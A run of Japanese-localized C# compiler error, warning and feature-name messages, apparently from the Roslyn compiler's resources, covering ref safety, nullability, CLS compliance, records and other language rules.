明示的インターフェイス宣言はクラス、レコード、構造体、またはインターフェイスの中でのみ宣言できます + グローバルの extern エイリアスは再定義できません + インライン配列 'Slice' メソッドは要素アクセス式には使用されません。 + CLSCompliant 属性は、パラメーターに適用されても意味がありません。メソッドに適用してください。 + この警告は、catch (System.Exception e) ブロックの後に catch() ブロックに指定された例外の型がない場合に発生します。警告は、catch() ブロックが例外をキャッチしないことを通知します。 + +AssemblyInfo.cs ファイルで RuntimeCompatibilityAttribute が false に設定されている場合 [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]、catch (System.Exception e) ブロックの後の catch() ブロックは、CLS でない例外をキャッチできます。この属性が明示的に false に設定されていない場合、すべてのスローされた CLS でない例外は例外として折り返され、catch (System.Exception e) ブロックによってキャッチされます。 + パラメーターに適用された CallerArgumentExpressionAttribute は自己参照であるため、無効となります。 + out 変数を ref ローカルと宣言することはできません + catch 句を待機することはできません + 演算子 '{0}' を定義するには、チェックされていないバージョンの合致する演算子が必要です + ファイルスコープの名前空間 + 動的オブジェクトを分解することはできません。 + 参照渡しによって渡したり返したりすることができないため、このコンテキストで使用できない式があります + extern エイリアスを宣言する /reference オプションにはファイル名が 1 つだけ指定できます。複数のエイリアスまたはファイル名を指定するには、複数の /reference オプションを使用してください。 + 型 '{0}' の stackalloc 式を型 '{1}' に変換することはできません。 + {' で始まる挿入式の終了区切り文字 '}' がありません。 + CLS コンプライアンス チェックのためにモジュールではなく、アセンブリに CLSCompliant 属性を指定してください + 'scoped' 修飾子は refs および ref 構造体の値にのみ使用できます。 + '{0}' は '{1}' のパブリック インスタンスまたは拡張機能の定義を含んでいないため、型 '{0}' の変数に対して foreach ステートメントを使用することはできません + 規則セット ファイル {0} を読み込み中にエラーが発生しました - {1} + 基本データ型の Finalize メソッドを直接呼び出さないでください。デストラクターから自動的に呼び出されます。 + '{0}': 列挙子の値は、型に対して大きすぎます + 与えられたファイルは '{0}' 行しかなく、指定された行数 '{1}' を下回っています。 + プリプロセッサ ディレクティブに対して無効なファイル名が指定されました。ファイル名は長すぎるか、または有効なファイル名ではありません。 + 型またはメンバーが旧型式です + 式は参照渡しによって渡したり返したりできないため、式を '{0}' に変換できません。 + メソッド '{0}' の型引数を使い方から推論することはできません。型引数を明示的に指定してください。 + Null 参照引数の可能性があります。 + メソッド グループ(&M) + ファイル属性がありません + パス属性がありません + アンマネージ型 '{0}' はフィールドに対して無効です。 + コンテナー '{0}' から公開キーで出力に署名する際にエラーが発生しました -- {1} + 演算子 '{0}' を定義するには、合致する演算子 '{1}' が必要です + フィールド初期化子は、静的でないフィールド、メソッド、またはプロパティ '{0}' を参照できません + 読み取り専用の自動実装プロパティ + 名前空間 '{1}' は、このファイルの '{0}' の定義を既に含んでいます。 + 静的な読み取り専用フィールド '{0}' のフィールドを ref 値または out 値として使用することはできません (静的コンストラクターでは可) + これは、'{1}' を '{0}' に ref 割り当てしますが、'{1}' には '{0}' より狭いエスケープ スコープがあります。 + プロパティのアクセス修飾子 + 型とエイリアスに 'scoped' という名前を付けることはできません。 + クラス、レコード、構造体、またはインターフェイス メンバーの宣言でトークン '{0}' が無効です + メタデータ ファイル '{0}' が見つかりませんでした + 'readonly' メンバーから readonly 以外のメンバーを呼び出すと、暗黙のコピーが生成されます。 + ファイルスコープの名前空間は、ファイル内の他のすべてのメンバーの前に指定する必要があります。 + '{0}' には定義済みのサイズが指定されていないため、sizeof は unsafe コンテキストでのみ使用できます + '{1}' で指定された無効な検索パス '{0}' です -- '{2}' + パラメーター型がデリゲート パラメーター型と一致しないため、{0} を型 '{1}' に変換することはできません + 抽象化できるのは CLS 準拠メンバーのみです + private protected + アセンブリとモジュール '{0}' で異なるプロセッサを対象にすることはできません。 + 式ツリーに範囲 ('..') 式を含めることはできません。 + パラメーター '{0}' の参照の種類修飾子が、ターゲット内の対応するパラメーター '{1}' と一致しません。 + '{0}' は、補間された文字列ハンドラー型ではありません。 + パラメーター '{0}' の参照の種類修飾子が、非表示のメンバーの対応するパラメーター '{1}' と一致しません。 + 明示的に割り当てられる前に自動実装プロパティ '{0}' が読み取られ、先行する暗黙的な代入が 'default' になります。 + lock ステートメントの本体で待機することはできません + 静的な読み取り専用フィールドを ref 値または out 値として使用することはできません (静的コンストラクターでは可) + 割り当てられていない可能性のある自動実装プロパティを使用しています。プロパティを自動既定値にするため言語バージョンを更新することを検討してください。 + 属性 '{0}' はプロパティまたはイベントのアクセサーでは無効です。'{1}' 宣言でのみ有効です。 + パラメーター '{0}' の 'scoped' 修飾子がターゲット '{1}'と一致しません。 + 指定されたバージョン文字列 '{0}' には、決定性と互換性のないワイルドカードが含まれています。バージョン文字列からワイルドカードを削除するか、このコンパイルの決定性を無効にしてください。 + 明示的なインターフェイス指定子内の参照型の Null 許容性が、型によって実装されているインターフェイスと一致しません。 + 属性の引数としての配列は CLS 準拠ではありません + extern エイリアスは未使用です + 無効な数字です + ラムダ ディスカード パラメーター + このコンテキストにおけるこの種類の stackalloc 式の結果は、それを含んでいるメソッドの外部に公開される可能性があります + 型変性 + ディレクトリが存在しません + '{0}' が short circuit 演算子として適用されるためには、宣言する型 '{1}' で true 演算子と false 演算子を定義する必要があります + 破棄可能 + 入れ子になった配列初期化子が必要です + クラスのみがデストラクターを含むことができます + アセンブリ参照が ID と一致すると仮定します + アセンブリ参照 '{0}' は無効であり、解決できません + 推論されたデリゲート型 + これは、ref パラメーター経由で参照渡しでパラメーターを返しますが、安全に返すことができるのは return ステートメント内のみです + 既定のリテラルのターゲット型がありません。 + 分解の代入には、右側の型を持つ式が必要です。 + '{0}' は無効なファイル セクションの配置です + 構造体内部の匿名メソッド、ラムダ式、クエリ式、またはローカル関数は、'this' のインスタンス メンバーにアクセスできません。匿名メソッド、ラムダ式、クエリ式、またはローカル関数の外部のローカル変数に 'this' をコピーして、そのローカルをご使用ください。 + {0} のメンバーに割り当てることができません。'{1}' は読み取り専用変数であるため、ref 割り当ての右辺として使用することはできません。 + '{0}' の型における参照型の Null 許容性が、暗黙的に実装されるメンバー '{1}' と一致しません。 + 条件付きメンバー '{0}' はインターフェイス メンバー '{1}' を型 '{2}' で実装できません + '{0}' の戻り値の型における参照型の Null 許容性が、暗黙的に実装されるメンバー '{1}' と一致しません。 + 静的クラス '{0}' は型 '{1}' から派生することはできません。静的クラスはオブジェクトから派生する必要があります。 + 静的な読み取り専用フィールド '{0}' のフィールドを書き込み可能な参照渡しで返すことはできません + 型 '{0}' はこのアセンブリ内で定義されていますが、これには型フォワーダーが指定されています + このパターンには到達できません。これは、switch 式の以前のアームによって既に処理されたか、一致させることができません。 + 式が長すぎるか複雑すぎるため、コンパイルできません + #pragma ディレクティブの後に、単一行コメントか行末が必要です + '{0}': イベント プロパティには、add および remove アクセサーの両方を指定する必要があります + これは参照渡し '{0}' でパラメーターを返しますが、現在のメソッドに範囲設定されています + { or ; or => 必要 + 参照アセンブリが異なるプロセッサを対象にしています + インターフェイス '{1}' のマネージ コクラス ラッパー クラス '{0}' が見つかりません (アセンブリ参照が存在することを確認してください) + '{0}' は、パターン '{1}' を実装しません。'{2}' は、'{3}' で不適切です。 + /langversion のオプション '{0}' は無効です。サポートされている値を一覧表示するには、'/langversion:?' を使用します。 + エイリアスで修飾された名前は式ではありません。 + 識別子が必要でした。 + 型 '{0}' は定義されていません。 + goto case' 値は型 '{0}' に暗黙的に変換できません + 条件式の代入は常に定数です + 条件付きメンバー '{0}' には out パラメーターを指定できません + unsafe コンテキストで待機することはできません + 埋め込みステートメントを宣言やラベル付きのステートメントにすることはできません + '{0}' ではオーバーライドを許可する必要があります。これが含まれているレコードが sealed ではないためです。 + Null 許容値型は Null になる場合があります。 + 静的ローカル関数 + コンストラクターは external に設定されています + 実行時に操作がオーバーフローする可能性があります (オーバーライドするには 'unchecked' 構文を使用してください) + コレクション初期化子 + 定義済みの型 '{0}' は定義、またはインポートされていません + 自動的に実装されたプロパティ + ref 再代入 + 型 '{0}' の式を型 '{1}' のパターンで処理することはできません。オープン型と定数パターンを一致させるには、言語バージョン '{2}' 以上をご使用ください。 + 適用可能な 1 つ以上のオーバーロードが条件付きメソッドであるため、動的ディスパッチされたメソッド '{0}' の呼び出しは実行時に失敗する可能性があります。 + 型またはメンバーが旧型式です + コンストラクター '{0}' は external に設定されています + '{0}': 静的クラスはインターフェイスを実装することができません + 埋め込み相互運用構造体 '{0}' には、パブリック インスタンス フィールドのみを含めることができます。 + '{0}' は型パラメーターであるため、派生させることはできません + fixed ステートメントで宣言されたローカルの型は、ポインター型でなければなりません + extern エイリアス + XML コメントの cref 属性の戻り値の型が無効です + 型 '{0}' は、メタデータで表現できないため、このコンテキストでは使用できません。 + 戻り値の型における参照型の NULL 値の許容が、実装されるメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + CLSCompliant 属性は、パラメーターに適用しても意味がありません + 型パラメーターの制約の Null 許容性が、暗黙的に実装されたインターフェイス メソッドの型パラメーターの制約と一致しません。 + as' 演算子の最初のオペランドは、自然な型のないタプル リテラルにすることはできません。 + 無効なインストルメンテーションの種類: {0} + チェックされたユーザー定義演算子 + スクリプト コードで名前空間を宣言することはできません + public、protected、または protected internal 変数は、 共通言語仕様 (CLS) に準拠した型である必要があります。 + '{0}' の partial 宣言には競合するアクセシビリティ修飾子が含まれています + 型 '{3}' はジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用できません。Null 許容型 '{3}' は、'{1}' の制約を満たしていません。 + nameof 演算子はインターセプトできません。 + 予期しない参照比較です。右辺をキャストする必要があります + 出力ファイル '{0}' に書き込めませんでした -- '{1}' + キーワード 'this' または 'base' が必要です + EnumeratorCancellationAttribute は効果がありません。この属性は、IAsyncEnumerable を返す非同期反復子メソッドの CancellationToken 型のパラメーターに対してのみ効果があります + '{0}' の戻り値の型における参照型の NULL 値の許容が、暗黙的に実装されるメンバー '{1}' と一致しません。おそらく、NULL 値の許容の属性が原因です。 + この型の値が 'null' に等しくなることはないので、式の結果は常に同じです + ポインター要素アクセス + '{0}' は、'{1}' からの想定されるプロパティをオーバーライドしていません。 + 最上位のスクリプト コードで 'yield' を使用することはできません + 非同期メソッドは、'await' 演算子がないため、同期的に実行されます + グローバル エイリアスの複数のアセンブリで定義済みの型が定義されています + 名前 '_' は、破棄パターンではなく型 '{0}' を参照しています。型の場合は '@_' を、破棄する場合は 'var _' をご使用ください。 + 'in' または 'out' の型パラメーターを持つインターフェイス内では、列挙体、クラス、および構造体を宣言することはできません。 + '{0}': 属性の引数は型パラメーターを使用することができません + オーバーロード可能な演算子が必要です + 静的読み取り専用フィールド '{0}' のフィールドへの割り当てはできません (静的コンストラクターまたは変数初期化子では可) + フィルター式は定数 'true' です + ソース ファイルが指定されていません。 + '{0}' で間違った認証が使われています。エントリ ポイントとして使用することはできません + catch 句を、try ステートメントの一般的な catch 句の後に置くことはできません + 部分メソッド '{0}' には、'virtual'、'override'、'sealed'、'new'、または 'extern' 修飾子が指定されているため、アクセシビリティ修飾子が必要です。 + インデックス付けされているインスタンスを参照する補間された文字列ハンドラーの変換は、インデクサー メンバー初期化子では使用できません。 + 引数がありません + ラムダ式を、型引数 '{0}' がデリゲート型ではない式ツリーに変換できません + これは、return ステートメントを介してのみ現在のメソッドをエスケープできる値を ref 割り当てします。 + 戻り値 + 問題の操作は void ポインターで定義されていません + デリゲート '{0}' には invoke メソッドがないか、サポートされていない戻り値の型またはパラメーター型の invoke メソッドがあります。 + 別の構築済みジェネリック型から、構築済みジェネリック型を作成できません。 + 明示的に割り当てられる前にフィールド '{0}' が読み取られ、先行する暗黙的な代入が 'default' になります。 + nameof 演算子 + マネージ型 ('{0}') のアドレスの取得、サイズの取得、またはそのマネージ型へのポインターの宣言が実行できません + 機能 '{0}' は標準 ISO C# 言語仕様ではありません。別のコンパイラでは受け入れられない可能性があります + ソース ファイルで指定された属性 '{0}' はオプション '{1}' と競合しています。 + アセンブリの CLSCompliant 属性と異なるモジュールの CLSCompliant 属性は指定できません + 緩和されたシフト演算子 + パラメーター {0} はキーワード '{1}' で宣言しないでください + '{0}' は 'UnmanagedCallersOnly' 属性が設定されているため、デリゲート型に変換できません。このメソッドへの関数ポインターを取得してください。 + finally 句の本体で待機することはできません + インターセプター メソッドは通常のメンバー メソッドである必要があります。 + out パラメーター '{0}' はコントロールが現在のメソッドを抜ける前に割り当てられる必要があります + レコードの継承元にできるのは、object か別のレコードだけです + オブジェクト、文字列、またはクラス型が必要です + 式ツリーは、with 式を含むことはできません + リンクされた netmodule メタデータには完全な PE イメージ '{0}' が必要です。 + 未割り当ての out パラメーター '{0}' が使用されました + global' という名前のエイリアスを定義することはお勧めしません + '{0}': 属性の型引数では型パラメーターを使用することができません + UTF-8 文字列リテラル + /platform:anycpu32bitpreferred は、/t:exe、/t:winexe、/t:appcontainerexe でのみ使用できます + メソッド '{0}' には、実装された、またはオーバーライドされたメンバーと一致する '[DoesNotReturn]' 注釈がありません。 + ref フィールドは ref 構造体でのみ宣言できます。 + '{0}': ComImport 属性を含むクラスは、基底クラスを指定できません + '{1}' は ComImport 属性を含むため、'{0}' は extern または abstract にする必要があります + 補間は、生文字列リテラルの開始文字である '$' の数と同じ数の終わり波かっこで終わる必要があります。 + 固定変数 + 名前が名前 {0} と競合しています + 前の catch 句はこれ、またはスーパー型 ('{0}') の例外のすべてを既にキャッチしました + フィールド '{0}' は、割り当てられていない可能性があります + ブロック本体と式本体を両方とも指定することはできません。 + System.Void は C# から使用できません。void 型オブジェクトを取得するには typeof(void) を使用してください + 指定されたドキュメント モードがサポートされていないか無効です: '{0}'。 + 演算子 '{0}' は型 '{1}' のオペランドに対してあいまいです + 戻り値の型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + 代入先によって異なる名前が指定されているか、名前が何も指定されていないため、タプル要素名は無視されます。 + 参照されているアセンブリには、厳密な名前がありません + 部分メソッドは、インターフェイス メソッドを明示的に実装できないことがあります + パラメーターの 'scoped' 修飾子がターゲットと一致しません。 + ラムダ式 + '{0}' はインポートされているため、Main メソッドに対して使うことはできません + 単項演算子のパラメーターは、それを含む型でなければなりません + コントロールを呼び出し元に返す前に、フィールド '{0}' を完全に割り当てる必要があります。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + コレクション初期化子要素に最も適しているオーバーロード Add メソッド '{0}' は古い形式です。{1} + 連結の結果による文字列定数の長さが、System.Int32.MaxValue を超えています。文字列を複数の定数に分割してみてください。 + CLS コンプライアンス チェックのためにモジュールではなく、アセンブリに CLSCompliant 属性を指定してください + 参照アセンブリ '{0}' には厳密な名前がありません。 + 名前空間 + 次のメソッドまたはプロパティ間で呼び出しが不適切です: '{0}' と '{1}' + この switch 式では一部の null 入力が処理されません (すべてが網羅されているわけではありません)。たとえば、パターン '{0}' がカバーされていません。 + 浮動小数点定数が型 '{0}' の範囲外です + 生文字列リテラルの区切り記号は、独自の行に置かれる必要があります。 + メソッド '{0}' (トークン 0x{1:X8}) のデバッグ情報をアセンブリ '{2}' から読み取ることができません + 'UnmanagedCallersOnly' は、通常の静的な非抽象的、仮想でないメソッドまたは静的なローカル関数にのみ適用できます。 + '{0}' は静的メソッドではないため、関数ポインターを作成できません + /nullable のオプション '{0}' が無効です。'disable'、'enable'、'warnings'、'annotations' のいずれかにする必要があります + エンコーディングせずにソース テキストのデバッグ情報を作成することはできません。 + パラメーター '{0}' の 'scoped' 修飾子が、オーバーライドされたメンバーまたは実装されたメンバーと一致しません。 + 無効なオプション '{0}' です。リソースの表示範囲は 'public' または 'private' でなければなりません + 'ref readonly' パラメーター '{0}' に既定値が指定されていますが、'ref readonly' は参照にのみ使用する必要があります。パラメーターを 'in' として宣言することを検討してください。 + このコンテキストで結果を使用すると、パラメーターによって参照される変数が宣言のスコープ外に公開される可能性があります + 優先順位の理由から、こちらで演算子は使用できません。 + レコード メンバー '{0}' は public でなければなりません。 + '{0}' は使用しないでください。コンパイラの使用のために予約されています。 + 警告はグローバルに無効にされたため復元できません + パラメーターは外側の型の状態にキャプチャされ、その値はフィールド、プロパティ、またはイベントの初期化にも使用されます。 + __arglist は、反復子のパラメーター リストでは許可されていません + '{0}' はインターフェイス メンバー '{1}' を実装しません。基本型で実装されているインターフェイス内の参照型の Null 許容性が一致しません。 + 非同期の {0} をデリゲート型 '{1}' に変換できません。非同期の {0} は void、Task、または Task<T> を返しますが、いずれも '{1}' に変換することができません。 + このコンテキストでの変数 '{0}' の使用は、参照される変数が宣言のスコープ外に公開される可能性があります + '{0}' 属性が重複しています + 型 '{0}' には非抽象メンバーがあるため、この型を埋め込むことはできません。'相互運用型の埋め込み' プロパティを false に設定することをご検討ください。 + デリゲート型を推論できませんでした。 + ファイル ローカル型 '{0}' は、含んでいるファイル パスを同等の UTF-8 バイト表現に変換できないため使用できません。{1} + 要素 '{0}' に終了タグが必要です。 + 先頭の桁区切り記号 + nameof 演算子では型の引数を使用できません。 + 型または名前空間の名前 '{0}' が名前空間 '{1}' に存在しません (アセンブリ参照があることを確認してください) + '{0}': 変数型のインスタンスを作成するときに、引数を指定することはできません + Win32 リソースの読み込み中にエラーが発生しました -- {0} + 型名 '{0}' がグローバル名前空間に見つかりませんでした。この型はアセンブリ '{1}' に転送されています。このアセンブリに参照を追加することを検討してください。 + void' 型の式を返すことはできません + ref パラメーターまたは out パラメーターには既定値を指定できません + 型名 '{0}' が見つかりませんでした。この型はアセンブリ '{1}' に転送されています。このアセンブリに参照を追加することを検討してください。 + 反復子は参照渡しのローカル変数を持つことができません + 両方の部分メソッド宣言には、'virtual'、'override'、'sealed'、'new' 修飾子の同じ組み合わせを指定する必要があります。 + this' パラメーターには既定値を指定できません + 式は指定された型 ('{0}') ではありません + XML コメントに typeparam タグが存在しますが、その名前に相当する型パラメーターはありません + 部分メソッド宣言は、両方とも unsafe であるか、両方とも unsafe でないかのいずれかである必要があります + 合体代入 + 基本型は、共通言語仕様 (CLS) 準拠であるとしたアセンブリで CLS への準拠が不要であると設定されました。アセンブリが CLS 準拠であると指定する属性を削除するか、型が CLS 準拠ではないことを示す属性を削除してください。 + 指定された式は指定された定数と必ず一致します。 + vararg を使用するメソッドは、ジェネリックにしたり、ジェネリック型に含めたりできません。また、params パラメーターを持つこともできません + 'await' では、型 '{0}' に適切な GetAwaiter メソッドが必要です。'System' に使用中のディレクティブは指定されていますか? + ; または = を指定してください (宣言の中にコンストラクター引数は指定できません) + このコンテキストで結果のメンバーを使用すると、パラメーターによって参照される変数が宣言のスコープ外に公開される可能性があります + 暗黙的な範囲インデクサーの呼び出しでは、引数に名前を付けることはできません。 + 構造体の場合 + 参照型の NULL 値の許容の違いにより、パラメーターに引数を使用できません。 + 演算子 true または false の戻り値の型はブール型でなければなりません + このコンストラクターは、その属性を持つコンストラクターにチェーンされるため、'SetsRequiredMembers' を追加する必要があります。 + 制約は特殊クラス '{0}' にすることはできません + '{0}': ターゲットのランタイムはオーバーライドで戻り値の型 covariant をサポートしていません。戻り値の型は、オーバーライドされるメンバー '{1}' と一致する '{2}' にする必要があります + パラメーター '{0}' の 'scoped' 修飾子が、オーバーライドされたメンバーまたは実装されたメンバーと一致しません。 + アセンブリ '{1}' に転送された型 '{0}' は、アセンブリ '{3}' に転送された型 '{2}' と競合しています。 + 引数は 'ref readonly' パラメーターに渡されるため、変数である必要があります + このコンテキストでは、既定値は無効です。 + ref フィールドは ref 構造体を参照できません。 + ファイル ローカル型 '{0}' は、ファイル ローカル型 '{1}' 以外の基本データ型として使用できません。 + デリゲート '{0}' には '{1}' という名前のパラメーターがありません + 'マネージド' 呼び出し規則をアンマネージド呼び出し規則指定子と組み合わせることはできません。 + 同じ関数へのポインターがそれぞれ異なっている可能性があるため、関数ポインターの比較によって予期しない結果が生成されるおそれがあります。 + '基底インターフェイス '{1}' が CLS 準拠でないため、'{0}' は CLS に準拠していません + ソース インターフェイス '{0}' に、イベント '{2}' を埋め込むために必要なメソッド '{1}' がありません。 + 属性コンストラクターのパラメーター '{0}' は省略可能ですが、既定のパラメーター値が指定されていませんでした。 + 式ツリーのラムダに null 伝搬演算子を含めることはできません。 + エイリアス '{0}' が見つかりません + メンバー '{0}' の初期化が重複しています + レコードの等値コントラクト プロパティ '{0}' には get アクセサーが必要です。 + /debug のオプション '{0}' が無効です。'portable'、'embedded'、'full'、または 'pdbonly' を指定してください + fixed ステートメントの初期化子内の fixed でない式のアドレスのみを取得できます + 挿入される逐語的文字列で '$@' の代わりに '@$' を使用するには、言語バージョン '{0}' 以上をご使用ください。 + '{0}': ComImport 属性を含むクラスにフィールド初期化子を指定することはできません。 + 部分メソッド '{0}' には、'out' パラメーターが指定されているため、アクセシビリティ修飾子が必要です。 + '{0}': 静的クラスでインデクサーを宣言することはできません + CallerArgumentExpressionAttribute は、オプションの引数を許可していないコンテキストで使用されるメンバーに適用されるため、無効になります + '{0}' は既にインターフェイス リストに存在します + null ポインター定数パターン + '{0}': プロパティまたはインデクサーには少なくとも 1 つのアクセサーを指定する必要があります + 暗黙的に型指定された変数を定数にすることはできません + 基本データ型の変数と同じ名前で宣言された変数がありましたが、キーワード new は使用されませんでした。この警告は、new を使用する必要があることを通知するものです。変数は、あたかも宣言で new が使用されたかのように宣言されます。 + アクセシビリティに一貫性がありません。戻り値の型 '{1}' のアクセシビリティはメソッド '{0}' よりも低く設定されています + 読み取り専用の構造体のインスタンス フィールドは、読み取り専用である必要があります。 + '{1}' を '{0}' に ref 割り当てすることはできません。'{1}' のエスケープ スコープが '{0}' より狭いためです。 + 演算子 '{0}' は、UTF-8 バイト表現ではない型 '{1}' および '{2}' のオペランドには適用できません + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal を使用して、文字のリテラル トークンを作成してください。 + 式ツリーに、System.Index または System.Range インデクサー アクセスのパターンを含めることはできません + 属性の引数としての配列は CLS 準拠ではありません + 割り当てられていない out パラメーターの使用 + 型引数を省略することは、現在のコンテキストでは許可されません + 配置の値 {0} は大きさが {1} を上回り、大型のフォーマットの文字列になる可能性があります。 + 静的なローカル関数に 'this' または 'base' への参照を含めることはできません。 + パラメーターが未読です。 + 式ツリーに UTF-8 文字列変換またはリテラルを含めることはできません。 + 出力変数の宣言 + ref 読み取り専用パラメーターに Out 属性を指定することはできません。 + 整数定数への比較ができません。定数が型 '{0}' の範囲外です + '実験的' + アセンブリ '{1}' の型 '{0}' には、埋め込み相互運用型のジェネリック型引数があるため、アセンブリ境界を越えて使用することはできません。 + 実行時に定数値がオーバーフローする可能性があります (オーバーライドするには 'unchecked' 構文を使用してください) + ラムダの省略可能なパラメーター + パラメーターのない構造体コンストラクター + 単項演算子のパラメーターは、それを含む型であるか、それに制約された型パラメーターである必要があります。 + ローカル関数 '{0}' は宣言されていますが、一度も使用されていません + as 演算子は参照型または null 許容型で使用してください ('{0}' は null 非許容の値型です) + 抽象 {0} '{1}' を virtual に指定することはできません + '{0}': 静的クラスにユーザー定義の演算子を含めることはできません + スコープ内に、ラベル '{0}' と同じ名前のラベルが存在しますが、無視されます + メンバー '{1}' は '{0}' をオーバーライドします。実行時にオーバーライドされる可能性のある候補は複数あります。どのメソッドが呼び出されるかは実装に依存しています。より新しいランタイムを使用してください。 + 構造体のインスタンス メンバー内の匿名メソッド、ラムダ式、クエリ式、ローカル関数は、プライマリ コンストラクター パラメーターにアクセスできません + get または set アクセサーが必要です + System.ParamArrayAttribute' を使用しないでください。代わりに 'params' キーワードを使用してください。 + 新規の protected メンバーが sealed 型で宣言されました + 転送された型 '{0}' は、このアセンブリのプライマリ モジュールで宣言した型と競合しています。 + 2 つのアセンブリはリリースまたはバージョン番号が異なります。統一するには、アプリケーションの .config ファイルにディレクティブを指定するとともに、アセンブリの厳密な名前を正しく付ける必要があります。 + コンストラクター '{0}' で、それ自体を別のコンストラクターを通して呼び出すことはできません + 参照したファイル '{0}' はアセンブリではありません + オーバーロードされた 2 項演算子 '{0}' に指定できるパラメーター数は 2 です + or パターン + ローカル関数 '{0}' は、条件付き属性を使用するには、'static' である必要があります + 条件付き属性はオーバーライド メソッドであるため、 '{0}' では無効です + ローカル '{0}' またはそのメンバーは、アドレスを与えることも、匿名メソッドまたはラムダ式の内部で使用されることもできません + SearchCriteria が必要です。 + インターフェイスにインスタンス コンストラクターを含めることはできません + '{0}' は void 型を返すため、キーワード return の後にオブジェクト式を指定することはできません + ユーザー定義の演算子は、型をそれ自体に変換することはできません。 + 編集に埋め込み型の '{0}' への参照が含まれるため続行できません。 + この呼び出しを待たないため、現在のメソッドの実行は、呼び出しが完了するまで続行します。呼び出しの結果に 'await' 演算子を適用することを検討してください。 + {0} の割り当てられたインスタンスへの参照がすべてスコープ外になる前に、そのインスタンスの System.IDisposable.Dispose() を呼び出してください。 + {0} の割り当てられたインスタンスが破棄されない例外パスがあります。System.IDisposable.Dispose() への参照がスコープ外になる前にこれを呼び出してください。 + 推測される構文ノードは、現在のコンパイルの構文ツリーに属することができません。 + セキュリティ属性 '{0}' に無効な SecurityAction の値 '{1}' があります + 読み取り専用型のプライマリ コンストラクター パラメーターを割り当てることはできません (型または変数初期化子の init 専用セッターを除く)。 + 静的なローカル関数に '{0}' への参照を含めることはできません。 + 負の値をキャストするには、値をかっこで囲んでください。 + ローカル名 '{0}' は PDB に対して長すぎます。短縮するか、/debug なしでコンパイルすることを検討してください。 + メンバー定義、ステートメント、またはファイルの終わりが必要です + パラメーター '{0}' の参照の種類修飾子が、オーバーライドされたメンバーまたは実装されるメンバーの対応するパラメーター '{1}' と一致しません。 + 分解変数を ref ローカルと宣言することはできません + この呼び出しは待機されなかったため、現在のメソッドの実行は呼び出しの完了を待たずに続行されます + using 句は、extern エイリアス宣言以外の、名前空間で定義された他のすべての要素の前に使用しなければなりません + 引数 {0} は 'ref readonly' パラメーターに渡されるため、変数である必要があります + await' 演算子は、非同期メソッド内でのみ使用できます。このメソッドを 'async' 修飾子でマークし、戻り値の型を 'Task<{0}>' に変更することを検討してください。 + 静的メンバー '{0}' を 'readonly' とマークすることはできません。 + 固定バッファーには 1 次元のみを指定できます。 + UnscopedRefAttribute は、'scoped' 修飾子を持つパラメーターには適用できません。 + null の可能性がある値をボックス化解除しています。 + 型 '{1}' の値が型 '{2}' の 'null' に等しくなることはないので、式の結果は常に '{0}' になります + 変数 + '{0}' 型の値における参照型の Null 許容性が、対象の型 '{1}' と一致しません。 + エイリアスが型を参照しているため、エイリアス '{0}' を '::' と使用できません。'.' を使用してください。 + マージ競合マーカーが検出されました + フレンド アセンブリ参照 '{0}' は無効です。InternalsVisibleTo 宣言にバージョン、カルチャ、公開キー トークン、またはプロセッサ属性を指定することはできません。 + ref パラメーター経由で参照渡し '{0}' でパラメーターを返すことはできません。返すことができるのは return ステートメント内のみです + トップレベルのステートメントを使用するプログラムは、実行可能ファイルである必要があります。 + これは、ローカルのメンバーを参照渡しで返しますが、ref ローカル変数ではありません + 空の文字リテラルです + 'class'、'struct'、'unmanaged'、'notnull'、'default' の制約を組み合わせたり、複製したりすることはできません。これらは制約リストの最初に指定する必要があります。 + '{0}' は既にアセンブリなのでこのアセンブリに加えることはできません + switch 式に最適な型が見つかりませんでした。 + netmodule では公開署名はサポートされていません。 + '{0}' は、型 '{2}' のインターフェイス リストに '{1}' として既に指定されています。 + ref 代入の左辺は ref 変数である必要があります。 + フィールドまたはプロパティに型 '{0}' を指定することはできません + 分解の左側でタプル要素名は許可されていません。 + 式ツリーのラムダには、メソッド グループを含めることはできません + 'enable'、'disable'、'restore' のいずれかが必要でした + as 式で Null 許容参照型 '{0}?' を使用することはできません。代わりに基になる型 '{0}' をご使用ください。 + System.Nullable<T>' のメンバーであるため、デリゲートを '{0}' にバインドできません + メソッド + '{0}' の partial 宣言では、同じ型パラメーター名を同じ順序で指定しなければなりません + __arglist では、'in' や 'out' で引数を渡すことができません + 文字 '{0}' はこの位置では使用できません。 + await' 演算子は、非同期の {0} でのみ使用できます。この {0} を 'async' 修飾子でマークすることを検討してください。 + ref' 拡張メソッド '{0}' の最初のパラメーターは、値型または構造体に制限されたジェネリック型でなければなりません。 + '{0}' と関数ポインター '{1}' で参照が一致しません + 呼び出し規則修飾子として '{0}' を使用することはできません。 + 予測セマンティック モデルのチェーンはサポートしていません。非予測 ParentModel から予測モデルを作成する必要があります。 + プログラムで複数のエントリ ポイントが定義されています。エントリ ポイントを含む型を指定するには、/main でコンパイルしてください。 + 拡張部分メソッド + 機能 '{0}' は C# 8.0 では使用できません。言語バージョン {1} 以上を使用してください。 + 機能 '{0}' は C# 7.2 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 7.3 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 7.1 では使用できません。{1} 以上の言語バージョンをお使いください。 + このコンテキストでの変数の使用は、参照される変数が宣言のスコープ外に公開される可能性があります + 補間された文字列 (期待値) + ファイル '{0}' の XML フラグメント '{1}' を含めることができません -- {2} + インライン配列変換演算子は、宣言する型の式からの変換には使用されません。 + モジュール '{1}' からエクスポートされた型 '{0}' は、モジュール '{3}' からエクスポートされた型 '{2}' と競合しています。 + 文字列 'null' 定数は、'{0}' のパターンとしてサポートされていません。代わりに空の文字列を使用してください。 + エントリ ポイントがジェネリックになったり、ジェネリック型の中に存在したりすることはできません + '{0}' は適切な静的 Main メソッドを含んでいません + フィールド '{0}' が明示的に割り当てられる前にコントロールが呼び出し元に返され、先行する暗黙的な代入が 'default' になります。 + 単一要素の分解パターンには、あいまいさを排除するための他の構文が必要です。破棄指定子 '_' を閉じかっこ ')' の後に追加することをお勧めします。 + '{0}' の完全修飾名は、デバッグ情報に対して長すぎます。'/debug' オプションなしでコンパイルしてください。 + 